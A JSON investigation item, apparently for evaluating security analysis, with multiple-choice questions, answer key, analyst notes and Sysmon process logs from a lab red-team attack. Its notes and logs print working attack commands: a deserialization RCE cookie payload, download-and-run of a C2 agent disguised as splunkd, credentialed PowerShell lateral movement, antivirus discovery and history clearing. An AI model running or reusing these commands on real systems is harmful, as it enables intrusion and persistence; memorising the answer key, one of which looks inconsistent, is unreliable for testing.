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{ | |
"criteria": { | |
"fact_check_qa": { | |
"status": "recommended", | |
"description": "The fact check questions and answers.", | |
"value": [ | |
{ | |
"question": "What is the name of the suspicious process?", | |
"options": [ | |
"cmd.exe", | |
"powershell.exe", | |
"explorer.exe", | |
"svchost.exe" | |
], | |
"answer_index": 1 | |
}, | |
{ | |
"question": "What is the execution policy being used?", | |
"options": [ | |
"Default", | |
"Restricted", | |
"Bypass", | |
"Unrestricted" | |
], | |
"answer_index": 2 | |
}, | |
{ | |
"question": "Why is this process considered malicious?", | |
"options": [ | |
"It is a standard system process.", | |
"It uses a custom execution policy and reaches out to a known malicious ip.", | |
"It communicates with a standard web server.", | |
"The answer is not in the given options." | |
], | |
"answer_index": 3 | |
} | |
] | |
}, | |
"disposition": { | |
"status": "mandatory", | |
"description": "The disposition of the investigation.", | |
"value": true | |
}, | |
"summary": { | |
"status": "mandatory", | |
"value": "Multiple suspicious process executions were detected. These primarily consist of PowerShell processes using '-ExecutionPolicy Bypass', command-line executions via /bin/sh, command execution via cmd.exe, and multiple executions of the Edge browser. These require further investigation to assess potential security risks." | |
}, | |
"detailed_analyst_notes": { | |
"status": "recommended", | |
"description": "The detailed analyst notes about the observed process.", | |
"value": "Multiple instances of PowerShell are observed using the '-ExecutionPolicy Bypass' flag. This behaviour is suspicious and is often used by threat actors to run malicious code. Also observed is a bash command that downloads and executes a file from a remote server and an instance of cmd.exe running a batch file from the local temp folder. Additionally, there are multiple instances of Edge being executed with potentially suspicious parameters. These process executions, taken together, strongly suggest a high risk of malicious activity and require urgent investigation.\n- Key elements (Processes)\n - Malicious\n \n powershell.exe -ExecutionPolicy Bypass -C \"$vuln_server = \\\"192.168.56.91\\\";$c2_uri = \\\"http://192.168.56.150:8888\\\";$cmd = \\\"curl -s -X POST -H \\`\\\"file:sandcat.go\\`\\\" -H \\`\\\"platform:linux\\`\\\" $c2_uri/file/download > splunkd;chmod +x splunkd;./splunkd -server $c2_uri -group red -v\\\";$payload = \\\"{\\\"\\\"username\\\"\\\":\\\"\\\"injected\\\"\\\",\\\"\\\"rce\\\"\\\":\\\"\\\"_`$`$ND_FUNC`$`$_function anonymous() {\\nrequire('child_process').exec('$cmd', function(error, stdout, stderr) { console.log(stdout) });\\n}()\\\"\\\"}\\\";$payload_b64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($payload));$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession;$cookie = New-Object System.Net.Cookie(\\\"profile\\\", $payload_b64, \\\"/\\\", $vuln_server);$session.Cookies.Add($cookie);$Response = DNS-Lookup -Uri \\\"http://$vuln_server\\\" -WebSession $session;Write-Output $Response;\"\n \n powershell.exe -ExecutionPolicy Bypass -C \"$username = \\\"user\\\";$password = \\\"redlab\\\";$secstr = New-Object -TypeName System.Security.SecureString;$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;$session = New-PSSession -ComputerName 192.168.56.112 -Credential $cred;Invoke-Command -Session $session -ScriptBlock{cmd.exe /c start C:\\Users\\Public\\splunkd.exe -server http://192.168.56.150:8888 -group red} -AsJob;\"\n \n powershell.exe -ExecutionPolicy Bypass -C \"$r1 = DNS-Lookup https://www.ibm.com/;$r2 = DNS-Lookup https://www.blackhat.com/us-22/;$r3 = DNS-Lookup https://github.com/;$r4 = DNS-Lookup https://european-union.europa.eu/;$r5 = DNS-Lookup https://www.japan.go.jp/;$r1.StatusCode, $r2.StatusCode, $r3.StatusCode, $r4.StatusCode, $r5.StatusCode -join ',';\"\n \n /bin/sh -c curl -s -X POST -H \"file:sandcat.go\" -H \"platform:linux\" http://192.168.56.150:8888/file/download > splunkd;chmod +x splunkd;./splunkd -server http://192.168.56.150:8888 -group red -v\n \n C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Users\\Alice\\AppData\\Local\\Temp\\return to office schedule.jpg.bat\"\"\n \n powershell.exe -ExecutionPolicy Bypass -C \"$job = Start-Job -ScriptBlock { $username = \\\"user\\\"; $password = \\\"redlab\\\"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr; $session = New-PSSession -ComputerName \\\"192.168.56.112\\\" -Credential $cred; $location = \\\"C:\\Users\\Public\\splunkd.exe\\\"; Copy-Item $location -Destination \\\"C:\\Users\\Public\\splunkd.exe\\\" -ToSession $session; Start-Sleep -s 5; Remove-PSSession -Session $session;};Receive-Job -Job $job -Wait;\"\n \n powershell.exe -ExecutionPolicy Bypass -C \"wmic /NAMESPACE:\\\\root\\SecurityCenter2 PATH AntiVirusProduct GET /value\"\n \n \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --type=renderer --disable-client-side-phishing-detection --display-capture-permissions-policy-allowed --js-flags=--ms-user-locale= --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=15 --launch-time-ticks=38478443578 --mojo-platform-channel-handle=5916 --field-trial-handle=2024,i,9782968909270097450,6250304888871396104,131072 /prefetch:1\n \n \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --type=renderer --disable-client-side-phishing-detection --display-capture-permissions-policy-allowed --js-flags=--ms-user-locale= --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=16 --launch-time-ticks=38455853433 --mojo-platform-channel-handle=1884 --field-trial-handle=2092,i,11005644001171300450,12417626312259248729,131072 /prefetch:1\n \n ---\n \n - Suspicious\n \n \"C:\\Users\\Public\\splunkd.exe\" -server http://192.168.56.150:8888 -group red\n \n /usr/local/src/starx/splunkd -server [http://192.168.56.150:8888](http://192.168.56.150:8888/) -group red -v\n \n \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -Version 5.1 -s -NoLogo -NoProfile\n \n powershell.exe -file C:\\Users\\Alice\\AppData\\Local\\Temp\\cd.ps1\n \n /usr/local/src/starx/splunkd -server http://192.168.56.150:8888 -group red -v\n \n /usr/bin/curl -s -X POST -H file:sandcat.go -H platform:linux http://192.168.56.150:8888/file/download\n \n powershell.exe -ExecutionPolicy Bypass -C ipconfig\n \n powershell.exe -ExecutionPolicy Bypass -C \"Get-WmiObject -Class Win32_UserAccount\"\n \n powershell.exe -ExecutionPolicy Bypass -C \"gpresult /R\"\n \n powershell.exe -ExecutionPolicy Bypass -C whoami\n \n powershell.exe -ExecutionPolicy Bypass -C \"nltest /dsgetdc:$env:USERDOMAIN\"\n \n powershell.exe -ExecutionPolicy Bypass -C get-process\n \n powershell.exe -ExecutionPolicy Bypass -C \"$NameSpace = Get-WmiObject -Namespace \\\"root\\\" -Class \\\"__Namespace\\\" | Select Name | Out-String -Stream | Select-String \\\"SecurityCenter\\\";$SecurityCenter = $NameSpace | Select-Object -First 1;Get-WmiObject -Namespace \\\"root\\$SecurityCenter\\\" -Class AntiVirusProduct | Select DisplayName, InstanceGuid, PathToSignedProductExe, PathToSignedReportingExe, ProductState, Timestamp | Format-List;\"\n \n powershell.exe -ExecutionPolicy Bypass -C Clear-History;Clear\n \n powershell.exe -ExecutionPolicy Bypass -C \"Get-SmbShare | ConvertTo-Json\"\n \n powershell.exe -ExecutionPolicy Bypass -C \"$owners = @{};gwmi win32_process |%% {$owners[$_.handle] = $_.getowner().user};$ps = get-process | select processname,Id,@{l=\\\"Owner\\\";e={$owners[$_.id.tostring()]}};foreach($p in $ps) { if($p.Owner -eq \\\"user\\\") { $p; }}\"\n \n powershell.exe -ExecutionPolicy Bypass -C $env:username\n \n ---\n \n - Notes\n - Phishing\n - Reconnaissance\n - Discovery\n - Defensive Evasion\n - Execution or Collection\n - Lateral movement\n - C2\nIn an apparent attempt to evade detection, the adversary has created an alias for the Invoke-WebRequest command, renaming it to DNS-Lookup." | |
} | |
}, | |
"bundle": { | |
"type": "bundle", | |
"id": "bundle--8554cc7b-081e-48cb-a808-a0960b67915f", | |
"objects": [ | |
{ | |
"id": "identity--e1711034-8b12-43c2-8229-4eab521d6877", | |
"name": "elastic_ecs", | |
"type": "identity" | |
}, | |
{ | |
"id": "identity--e7b86ade-983a-49bb-b22d-86ec3d1318fb", | |
"name": "elastic_ecs", | |
"type": "identity" | |
}, | |
{ | |
"id": "identity--df685ac9-4e66-42e6-980e-88078e9ff45f", | |
"name": "elastic_ecs", | |
"type": "identity" | |
}, | |
{ | |
"id": "observed-data--52a78cf9-ca58-4411-90b8-116dc75b73b8", | |
"type": "observed-data", | |
"created_by_ref": "identity--e1711034-8b12-43c2-8229-4eab521d6877", | |
"created": "2022-07-28T16:04:37.459Z", | |
"modified": "2022-07-28T16:04:37.459Z", | |
"objects": { | |
"0": { | |
"type": "x-ecs-process", | |
"args": [ | |
"C:\\Program Files\\WinMail\\WinMail.exe" | |
], | |
"parent_args": [ | |
"C:\\Windows\\Explorer.EXE" | |
], | |
"parent_args_count": 1, | |
"parent_entity_id": "{ca21cdf6-481c-62e1-3e01-000000001400}", | |
"pe_file_version": "1.0.0.0", | |
"pe_product": "WpfApp1", | |
"pe_description": "WpfApp1", | |
"pe_original_file_name": "WpfApp1.dll", | |
"pe_company": "WpfApp1", | |
"working_directory": "C:\\Program Files\\WinMail\\", | |
"args_count": 1, | |
"entity_id": "{ca21cdf6-49ba-62e1-c201-000000001400}" | |
}, | |
"1": { | |
"type": "process", | |
"name": "explorer.exe", | |
"pid": 5708, | |
"binary_ref": "4", | |
"command_line": "C:\\Windows\\Explorer.EXE" | |
}, | |
"2": { | |
"type": "process", | |
"parent_ref": "1", | |
"name": "WinMail.exe", | |
"pid": 2840, | |
"binary_ref": "6", | |
"command_line": "\"C:\\Program Files\\WinMail\\WinMail.exe\" ", | |
"creator_user_ref": "13" | |
}, | |
"3": { | |
"type": "x-oca-event", | |
"parent_process_ref": "1", | |
"process_ref": "2", | |
"host_ref": "8", | |
"ingested": "2022-07-27T14:20:52.716412638Z", | |
"code": "1", | |
"provider": "Microsoft-Windows-Sysmon", | |
"kind": "event", | |
"created": "2022-07-27T14:20:46.370Z", | |
"module": "sysmon", | |
"action": "Process Create (rule: ProcessCreate)", | |
"category": [ | |
[ | |
"process" | |
] | |
], | |
"event_type": [ | |
"start" | |
], | |
"user_ref": "13" | |
}, | |
"4": { | |
"type": "file", | |
"name": "explorer.exe", | |
"parent_directory_ref": "5" | |
}, | |
"5": { | |
"type": "directory", | |
"path": "C:\\Windows" | |
}, | |
"6": { | |
"type": "file", | |
"name": "WinMail.exe", | |
"parent_directory_ref": "7" | |
}, | |
"7": { | |
"type": "directory", | |
"path": "C:\\Program Files\\WinMail" | |
}, | |
"8": { | |
"type": "x-oca-asset", | |
"hostname": "victima", | |
"os_name": "Windows 10 Pro", | |
"os_version": "10.0", | |
"os_platform": "windows", | |
"ip_refs": [ | |
"9", | |
"10" | |
], | |
"name": "victima", | |
"id": "ca21cdf6-3888-4c03-ae56-9ad5ca4b5981", | |
"mac_refs": [ | |
"11" | |
], | |
"architecture": "x86_64" | |
}, | |
"9": { | |
"type": "ipv4-addr", | |
"value": "192.168.56.111" | |
}, | |
"10": { | |
"type": "ipv6-addr", | |
"value": "fe80::6081:41da:9cd5:7c82" | |
}, | |
"11": { | |
"type": "mac-addr", | |
"value": "08:00:27:18:81:31" | |
}, | |
"12": { | |
"type": "x-ecs-user", | |
"domain": "VICTIMA", | |
"id": "S-1-5-18" | |
}, | |
"13": { | |
"type": "user-account", | |
"user_id": "user", | |
"account_login": "user" | |
}, | |
"0": { | |
"type": "x-ecs-process", | |
"args": [ | |
"C:\\Program Files\\WinMail\\WinMail.exe" | |
], | |
"parent_args": [ | |
"C:\\Windows\\Explorer.EXE" | |
], | |
"parent_args_count": 1, | |
"parent_entity_id": "{ca21cdf6-481c-62e1-3e01-000000001400}", | |
"pe_file_version": "1.0.0.0", | |
"pe_product": "WpfApp1", | |
"pe_description": "WpfApp1", | |
"pe_original_file_name": "WpfApp1.dll", | |
"pe_company": "WpfApp1", | |
"working_directory": "C:\\Program Files\\WinMail\\", | |
"args_count": 1, | |
"entity_id": "{ca21cdf6-49ba-62e1-c201-000000001400}" | |
} | |
}, | |
"first_observed": "2022-07-27T14:20:42.075Z", | |
"last_observed": "2022-07-27T14:20:42.075Z", | |
"number_observed": 1 | |
}, | |
{ | |
"id": "observed-data--682fb2a1-daae-4a64-be7e-a13d0bb42855", | |
"type": "observed-data", | |
"created_by_ref": "identity--e1711034-8b12-43c2-8229-4eab521d6877", | |
"created": "2022-07-28T16:04:37.460Z", | |
"modified": "2022-07-28T16:04:37.460Z", | |
"objects": { | |
"0": { | |
"type": "x-ecs-process", | |
"args": [ | |
"C:\\Program Files\\Internet Explorer\\iexplore.exe", | |
"http://www.ibm.com/" | |
], | |
"parent_args": [ | |
"C:\\Program Files\\WinMail\\WinMail.exe" | |
], | |
"parent_args_count": 1, | |
"parent_entity_id": "{ca21cdf6-49ba-62e1-c201-000000001400}", | |
"pe_file_version": "11.00.19041.1566 (WinBuild.160101.0800)", | |
"pe_product": "Internet Explorer", | |
"pe_description": "Internet Explorer", | |
"pe_original_file_name": "IEXPLORE.EXE", | |
"pe_company": "Microsoft Corporation", | |
"working_directory": "C:\\Program Files\\WinMail\\", | |
"args_count": 2, | |
"entity_id": "{ca21cdf6-4afe-62e1-de01-000000001400}" | |
}, | |
"1": { | |
"type": "process", | |
"name": "WinMail.exe", | |
"pid": 2840, | |
"binary_ref": "4", | |
"command_line": "\"C:\\Program Files\\WinMail\\WinMail.exe\" " | |
}, | |
"2": { | |
"type": "process", | |
"parent_ref": "1", | |
"name": "iexplore.exe", | |
"pid": 6492, | |
"binary_ref": "6", | |
"command_line": "\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" http://www.ibm.com/", | |
"creator_user_ref": "13" | |
}, | |
"3": { | |
"type": "x-oca-event", | |
"parent_process_ref": "1", | |
"process_ref": "2", | |
"host_ref": "8", | |
"ingested": "2022-07-27T14:26:18.681155378Z", | |
"code": "1", | |
"provider": "Microsoft-Windows-Sysmon", | |
"kind": "event", | |
"created": "2022-07-27T14:26:12.345Z", | |
"module": "sysmon", | |
"action": "Process Create (rule: ProcessCreate)", | |
"category": [ | |
[ | |
"process" | |
] | |
], | |
"event_type": [ | |
"start" | |
], | |
"user_ref": "13" | |
}, | |
"4": { | |
"type": "file", | |
"name": "WinMail.exe", | |
"parent_directory_ref": "5" | |
}, | |
"5": { | |
"type": "directory", | |
"path": "C:\\Program Files\\WinMail" | |
}, | |
"6": { | |
"type": "file", | |
"name": "iexplore.exe", | |
"parent_directory_ref": "7" | |
}, | |
"7": { | |
"type": "directory", | |
"path": "C:\\Program Files\\Internet Explorer" | |
}, | |
"8": { | |
"type": "x-oca-asset", | |
"hostname": "victima", | |
"os_name": "Windows 10 Pro", | |
"os_version": "10.0", | |
"os_platform": "windows", | |
"ip_refs": [ | |
"9", | |
"10" | |
], | |
"name": "victima", | |
"id": "ca21cdf6-3888-4c03-ae56-9ad5ca4b5981", | |
"mac_refs": [ | |
"11" | |
], | |
"architecture": "x86_64" | |
}, | |
"9": { | |
"type": "ipv4-addr", | |
"value": "192.168.56.111" | |
}, | |
"10": { | |
"type": "ipv6-addr", | |
"value": "fe80::6081:41da:9cd5:7c82" | |
}, | |
"11": { | |
"type": "mac-addr", | |
"value": "08:00:27:18:81:31" | |
}, | |
"12": { | |
"type": "x-ecs-user", | |
"domain": "VICTIMA", | |
"id": "S-1-5-18" | |
}, | |
"13": { | |
"type": "user-account", | |
"user_id": "user", | |
"account_login": "user" | |
}, | |
"0": { | |
"type": "x-ecs-process", | |
"args": [ | |
"C:\\Program Files\\Internet Explorer\\iexplore.exe", | |
"http://www.ibm.com/" | |
], | |
"parent_args": [ | |
"C:\\Program Files\\WinMail\\WinMail.exe" | |
], | |
"parent_args_count": 1, | |
"parent_entity_id": "{ca21cdf6-49ba-62e1-c201-000000001400}", | |
"pe_file_version": "11.00.19041.1566 (WinBuild.160101.0800)", | |
"pe_product": "Internet Explorer", | |
"pe_description": "Internet Explorer", | |
"pe_original_file_name": "IEXPLORE.EXE", | |
"pe_company": "Microsoft Corporation", | |
"working_directory": "C:\\Program Files\\WinMail\\", | |
"args_count": 2, | |
"entity_id": "{ca21cdf6-4afe-62e1-de01-000000001400}" | |
} | |
}, | |
"first_observed": "2022-07-27T14:26:06.753Z", | |
"last_observed": "2022-07-27T14:26:06.753Z", | |
"number_observed": 1 | |
}, | |
{ | |
"id": "observed-data--0632ffb4-0fd1-4e34-839f-8d5fc21480d2", | |
"type": "observed-data", | |
"created_by_ref": "identity--e1711034-8b12-43c2-8229-4eab521d6877", | |
"created": "2022-07-28T16:04:37.460Z", | |
"modified": "2022-07-28T16:04:37.460Z", | |
"objects": { | |
"0": { | |
"type": "x-ecs-process", | |
"args": [ | |
"C:\\Windows\\system32\\cmd.exe", | |
"/c", | |
"C:\\Users\\Alice\\AppData\\Local\\Temp\\return", | |
"to", | |
"office", | |
"schedule.jpg.bat" | |
], | |
"parent_args": [ | |
"C:\\Program Files\\WinMail\\WinMail.exe" | |
], | |
"parent_args_count": 1, | |
"parent_entity_id": "{ca21cdf6-49ba-62e1-c201-000000001400}", | |
"pe_file_version": "10.0.19041.746 (WinBuild.160101.0800)", | |
"pe_product": "Microsoft\u00ae Windows\u00ae Operating System", | |
"pe_description": "Windows Command Processor", | |
"pe_original_file_name": "Cmd.Exe", | |
"pe_company": "Microsoft Corporation", | |
"working_directory": "C:\\Program Files\\WinMail\\", | |
"args_count": 6, | |
"entity_id": "{ca21cdf6-4b33-62e1-2802-000000001400}" | |
}, | |
"1": { | |
"type": "process", | |
"name": "WinMail.exe", | |
"pid": 2840, | |
"binary_ref": "4", | |
"command_line": "\"C:\\Program Files\\WinMail\\WinMail.exe\" " | |
}, | |
"2": { | |
"type": "process", | |
"parent_ref": "1", | |
"name": "cmd.exe", | |
"pid": 7220, | |
"binary_ref": "6", | |
"command_line": "C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Users\\Alice\\AppData\\Local\\Temp\\return to office schedule.jpg.bat\"\"", | |
"creator_user_ref": "13" | |
}, | |
"3": { | |
"type": "x-oca-event", | |
"parent_process_ref": "1", | |
"process_ref": "2", | |
"host_ref": "8", | |
"ingested": "2022-07-27T14:27:07.625374764Z", | |
"code": "1", | |
"provider": "Microsoft-Windows-Sysmon", | |
"kind": "event", | |
"created": "2022-07-27T14:27:01.279Z", | |
"module": "sysmon", | |
"action": "Process Create (rule: ProcessCreate)", | |
"category": [ | |
[ | |
"process" | |
] | |
], | |
"event_type": [ | |
"start" | |
], | |
"user_ref": "13" | |
}, | |
"4": { | |
"type": "file", | |
"name": "WinMail.exe", | |
"parent_directory_ref": "5" | |
}, | |
"5": { | |
"type": "directory", | |
"path": "C:\\Program Files\\WinMail" | |
}, | |
"6": { | |
"type": "file", | |
"name": "cmd.exe", | |
"parent_directory_ref": "7" | |
}, | |
"7": { | |
"type": "directory", | |
"path": "C:\\Windows\\SysWOW64" | |
}, | |
"8": { | |
"type": "x-oca-asset", | |
"hostname": "victima", | |
"os_name": "Windows 10 Pro", | |
"os_version": "10.0", | |
"os_platform": "windows", | |
"ip_refs": [ | |
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"--single-argument", | |
"http://cnn.com/" | |
], | |
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"--from-ie-to-edge=1", | |
"--customer-type=1", | |
"--", | |
"http://cnn.com/" | |
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"pe_description": "Microsoft Edge", | |
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"pe_company": "Microsoft Corporation", | |
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} | |
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"kind": "event", | |
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"category": [ | |
[ | |
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{ | |
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], | |
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[ | |
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}, | |
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], | |
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], | |
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}, | |
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}, | |
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}, | |
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}, | |
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"id": "S-1-5-18" | |
}, | |
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}, | |
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"-ExecutionPolicy", | |
"Bypass", | |
"-C", | |
"$r1 = DNS-Lookup https://www.ibm.com/;$r2 = DNS-Lookup https://www.blackhat.com/us-22/;$r3 = DNS-Lookup https://github.com/;$r4 = DNS-Lookup https://european-union.europa.eu/;$r5 = DNS-Lookup https://www.japan.go.jp/;$r1.StatusCode, $r2.StatusCode, $r3.StatusCode, $r4.StatusCode, $r5.StatusCode -join ',';" | |
], | |
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"-server", | |
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} | |
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[ | |
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] | |
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}, | |
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"ip_refs": [ | |
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"10" | |
], | |
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], | |
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}, | |
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}, | |
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}, | |
"11": { | |
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}, | |
"12": { | |
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"id": "S-1-5-18" | |
}, | |
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}, | |
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"-C", | |
"$job = Start-Job -ScriptBlock { $username = \"user\"; $password = \"redlab\"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr; $session = New-PSSession -ComputerName \"192.168.56.112\" -Credential $cred; $location = \"C:\\Users\\Public\\splunkd.exe\"; Copy-Item $location -Destination \"C:\\Users\\Public\\splunkd.exe\" -ToSession $session; Start-Sleep -s 5; Remove-PSSession -Session $session;};Receive-Job -Job $job -Wait;" | |
], | |
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"-server", | |
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], | |
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} | |
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{ | |
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}, | |
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"process_ref": "2", | |
"host_ref": "8", | |
"ingested": "2022-07-27T14:35:46.549230986Z", | |
"code": "1", | |
"provider": "Microsoft-Windows-Sysmon", | |
"created": "2022-07-27T14:35:40.220Z", | |
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"action": "Process Create (rule: ProcessCreate)", | |
"category": [ | |
[ | |
"process" | |
] | |
], | |
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], | |
"user_ref": "13" | |
}, | |
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}, | |
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}, | |
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}, | |
"8": { | |
"type": "x-oca-asset", | |
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"os_name": "Windows 10 Pro", | |
"os_version": "10.0", | |
"os_platform": "windows", | |
"ip_refs": [ | |
"9", | |
"10" | |
], | |
"name": "victima", | |
"id": "ca21cdf6-3888-4c03-ae56-9ad5ca4b5981", | |
"mac_refs": [ | |
"11" | |
], | |
"architecture": "x86_64" | |
}, | |
"9": { | |
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"value": "192.168.56.111" | |
}, | |
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"value": "fe80::6081:41da:9cd5:7c82" | |
}, | |
"11": { | |
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"value": "08:00:27:18:81:31" | |
}, | |
"12": { | |
"type": "x-ecs-user", | |
"domain": "VICTIMA", | |
"id": "S-1-5-18" | |
}, | |
"13": { | |
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"user_id": "user", | |
"account_login": "user" | |
}, | |
"2": { | |
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"name": "powershell.exe", | |
"pid": 7028, | |
"binary_ref": "6", | |
"command_line": "powershell.exe -ExecutionPolicy Bypass -C \"$username = \\\"user\\\";$password = \\\"redlab\\\";$secstr = New-Object -TypeName System.Security.SecureString;$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;$session = New-PSSession -ComputerName 192.168.56.112 -Credential $cred;Invoke-Command -Session $session -ScriptBlock{cmd.exe /c start C:\\Users\\Public\\splunkd.exe -server http://192.168.56.150:8888 -group red} -AsJob;\"", | |
"creator_user_ref": "13" | |
}, | |
"0": { | |
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"args": [ | |
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"-ExecutionPolicy", | |
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], | |
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"parent_entity_id": "{ca21cdf6-4b3e-62e1-2b02-000000001400}", | |
"pe_file_version": "10.0.19041.546 (WinBuild.160101.0800)", | |
"pe_product": "Microsoft\u00ae Windows\u00ae Operating System", | |
"pe_description": "Windows PowerShell", | |
"pe_original_file_name": "PowerShell.EXE", | |
"pe_company": "Microsoft Corporation", | |
"working_directory": "C:\\Program Files\\WinMail\\", | |
"args_count": 5, | |
"entity_id": "{ca21cdf6-4d3b-62e1-5402-000000001400}" | |
} | |
}, | |
"first_observed": "2022-07-27T14:35:39.031Z", | |
"last_observed": "2022-07-27T14:35:39.031Z", | |
"number_observed": 1 | |
}, | |
{ | |
"id": "observed-data--04dd13ab-e0c7-4876-8b20-7f834105e49c", | |
"type": "observed-data", | |
"created_by_ref": "identity--3607d256-1879-413f-8b95-d69da77d3646", | |
"created": "2022-07-28T16:05:45.784Z", | |
"modified": "2022-07-28T16:05:45.784Z", | |
"objects": { | |
"0": { | |
"type": "x-ecs-process", | |
"args": [ | |
"powershell.exe", | |
"-ExecutionPolicy", | |
"Bypass", | |
"-C", | |
"whoami" | |
], | |
"parent_args": [ | |
"C:\\Users\\Public\\splunkd.exe", | |
"-server", | |
"http://192.168.56.150:8888", | |
"-group", | |
"red" | |
], | |
"parent_args_count": 5, | |
"parent_entity_id": "{ca21cdf6-4b3e-62e1-2b02-000000001400}", | |
"pe_file_version": "10.0.19041.546 (WinBuild.160101.0800)", | |
"pe_product": "Microsoft\u00ae Windows\u00ae Operating System", | |
"pe_description": "Windows PowerShell", | |
"pe_original_file_name": "PowerShell.EXE", | |
"pe_company": "Microsoft Corporation", | |
"working_directory": "C:\\Program Files\\WinMail\\", | |
"args_count": 5, | |
"entity_id": "{ca21cdf6-4b73-62e1-2f02-000000001400}" | |
}, | |
"1": { | |
"type": "process", | |
"name": "splunkd.exe", | |
"pid": 3124, | |
"binary_ref": "4", | |
"command_line": "\"C:\\Users\\Public\\splunkd.exe\" -server http://192.168.56.150:8888 -group red " | |
}, | |
"2": { | |
"type": "process", | |
"parent_ref": "1", | |
"name": "powershell.exe", | |
"pid": 6504, | |
"binary_ref": "6", | |
"command_line": "powershell.exe -ExecutionPolicy Bypass -C whoami", | |
"creator_user_ref": "13" | |
}, | |
"3": { | |
"type": "x-oca-event", | |
"parent_process_ref": "1", | |
"process_ref": "2", | |
"host_ref": "8", | |
"ingested": "2022-07-27T14:28:11.556860677Z", | |
"code": "1", | |
"provider": "Microsoft-Windows-Sysmon", | |
"created": "2022-07-27T14:28:05.204Z", | |
"kind": "event", | |
"module": "sysmon", | |
"action": "Process Create (rule: ProcessCreate)", | |
"category": [ | |
[ | |
"process" | |
] | |
], | |
"event_type": [ | |
"start" | |
], | |
"user_ref": "13" | |
}, | |
"4": { | |
"type": "file", | |
"name": "splunkd.exe", | |
"parent_directory_ref": "5" | |
}, | |
"5": { | |
"type": "directory", | |
"path": "C:\\Users\\Public" | |
}, | |
"6": { | |
"type": "file", | |
"name": "powershell.exe", | |
"parent_directory_ref": "7" | |
}, | |
"7": { | |
"type": "directory", | |
"path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0" | |
}, | |
"8": { | |
"type": "x-oca-asset", | |
"hostname": "victima", | |
"os_name": "Windows 10 Pro", | |
"os_version": "10.0", | |
"os_platform": "windows", | |
"ip_refs": [ | |
"9", | |
"10" | |
], | |
"name": "victima", | |
"id": "ca21cdf6-3888-4c03-ae56-9ad5ca4b5981", | |
"mac_refs": [ | |
"11" | |
], | |
"architecture": "x86_64" | |
}, | |
"9": { | |
"type": "ipv4-addr", | |
"value": "192.168.56.111" | |
}, | |
"10": { | |
"type": "ipv6-addr", | |
"value": "fe80::6081:41da:9cd5:7c82" | |
}, | |
"11": { | |
"type": "mac-addr", | |
"value": "08:00:27:18:81:31" | |
}, | |
"12": { | |
"type": "x-ecs-user", | |
"domain": "VICTIMA", | |
"id": "S-1-5-18" | |
}, | |
"13": { | |
"type": "user-account", | |
"user_id": "user", | |
"account_login": "user" | |
}, | |
"2": { | |
"type": "process", | |
"parent_ref": "1", | |
"name": "powershell.exe", | |
"pid": 6504, | |
"binary_ref": "6", | |
"command_line": "powershell.exe -ExecutionPolicy Bypass -C whoami", | |
"creator_user_ref": "13" | |
}, | |
"0": { | |
"type": "x-ecs-process", | |
"args": [ | |
"powershell.exe", | |
"-ExecutionPolicy", | |
"Bypass", | |
"-C", | |
"whoami" | |
], | |
"parent_args": [ | |
"C:\\Users\\Public\\splunkd.exe", | |
"-server", | |
"http://192.168.56.150:8888", | |
"-group", | |
"red" | |
], | |
"parent_args_count": 5, | |
"parent_entity_id": "{ca21cdf6-4b3e-62e1-2b02-000000001400}", | |
"pe_file_version": "10.0.19041.546 (WinBuild.160101.0800)", | |
"pe_product": "Microsoft\u00ae Windows\u00ae Operating System", | |
"pe_description": "Windows PowerShell", | |
"pe_original_file_name": "PowerShell.EXE", | |
"pe_company": "Microsoft Corporation", | |
"working_directory": "C:\\Program Files\\WinMail\\", | |
"args_count": 5, | |
"entity_id": "{ca21cdf6-4b73-62e1-2f02-000000001400}" | |
} | |
}, | |
"first_observed": "2022-07-27T14:28:03.800Z", | |
"last_observed": "2022-07-27T14:28:03.800Z", | |
"number_observed": 1 | |
}, | |
{ | |
"id": "observed-data--20738204-dd51-40d2-a09b-2ae81c339662", | |
"type": "observed-data", | |
"created_by_ref": "identity--3607d256-1879-413f-8b95-d69da77d3646", | |
"created": "2022-07-28T16:05:45.784Z", | |
"modified": "2022-07-28T16:05:45.784Z", | |
"objects": { | |
"0": { | |
"type": "x-ecs-process", | |
"args": [ | |
"powershell.exe", | |
"-ExecutionPolicy", | |
"Bypass", | |
"-C", | |
"$vuln_server = \"192.168.56.91\";$c2_uri = \"http://192.168.56.150:8888\";$cmd = \"curl -s -X POST -H \\`\"file:sandcat.go\\`\" -H \\`\"platform:linux\\`\" $c2_uri/file/download > splunkd;chmod +x splunkd;./splunkd -server $c2_uri -group red -v\";$payload = \"{\"\"username\"\":\"\"injected\"\",\"\"rce\"\":\"\"_`$`$ND_FUNC`$`$_function anonymous() {\\nrequire('child_process').exec('$cmd', function(error, stdout, stderr) { console.log(stdout) });\\n}()\"\"}\";$payload_b64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($payload));$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession;$cookie = New-Object System.Net.Cookie(\"profile\", $payload_b64, \"/\", $vuln_server);$session.Cookies.Add($cookie);$Response = DNS-Lookup -Uri \"http://$vuln_server\" -WebSession $session;Write-Output $Response;" | |
], | |
"parent_args": [ | |
"C:\\Users\\Public\\splunkd.exe", | |
"-server", | |
"http://192.168.56.150:8888", | |
"-group", | |
"red" | |
], | |
